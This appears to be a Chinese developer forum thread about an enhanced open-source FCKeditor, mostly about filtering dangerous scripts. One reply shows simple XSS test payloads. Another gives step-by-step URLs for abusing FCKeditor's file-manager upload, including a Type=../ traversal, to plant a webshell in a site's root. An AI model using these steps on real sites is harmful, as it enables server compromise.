增强版fckeditor开源，邀请高手加入

Question

项目地址：http://www.svnhost.cn/Project/Detail-2089.shtmlSVN地址：svn://svnhost.cn/svnhostfckeditor提供全部源代码。目前实行功能：代码高亮 
图片水印 
远程图片自动上传 
多媒体播放 
FLV播放器 
过滤危险脚本 
欢迎大家参加，提出需求和改进意见。过滤脚本问题比较复杂，请高手提出解决方案。

Answer 1

官方fckeditor2.6.3版本可以发布如下内容：  <script type="text/javascript">
  <!--
alert('');
  //-->
  </script>---------------------<img src="http://www.svnhost.cn/images/logo.gif" onload="alert('');">
----------------------等等增强版中都予以过滤了。

Answer 2

呵呵，找到了谢谢楼主
http://www.svnhost.cn/Download/Detail-237.shtml

Answer 3

给个建议，能不能不修改web.config文件，另外重新定义一个配置文件，如editor.config，加配置太多不好看，也容易改错，除非需要增加引用的命名空间少量修改web.config文件

Answer 4

貌似微软最近出了个AntiXss 但是没有试过。呵呵
http://www.microsoft.com/downloads/details.aspx?FamilyId=EFB9C819-53FF-4F82-BFAF-E11625130C25&displaylang=en

Answer 5

从网上找的：出现上传漏洞的地址是：http://www.xxx.com/admin/FCKeditor/editor/filemanager/browser/default/browser.html?Type=all&Connector=connectors/asp/connector.asp打开这个地址就可以上传任何类型的文件了，马儿上传到的位置是:
http://www.xxx.com/UserFiles/all/1.asa
"Type=all" 这个变量是自己定义的,在这里创建了all这个目录,而且新的目录没有上传文件格式的限制.比如输入:
http://www.xxx.com/admin/FCKeditor/editor/filemanager/browser/default/browser.html?Type=monyer&Connector=connectors/asp/connector.asp所传的文件就到了 http://www.xxx.com/UserFiles/monyer/ 下了而如果这样输入:http://www.xxx.com/admin/FCKeditor/editor/filemanager/browser/default/browser.html?Type=../&Connector=connectors/asp/connector.asp
就可以传到网站的根目录下,网站支持什么脚本,传什么脚本的马就可以了.所传的文件就到了网站根目录下了

Answer 6

项目地址：http://www.svnhost.cn/Project/Detail-2089.shtml 
说几句直话:首页看了就不想点击拉,界面实在不感恭唯!!
构图好看不好看是其次的,起码要整齐吧!!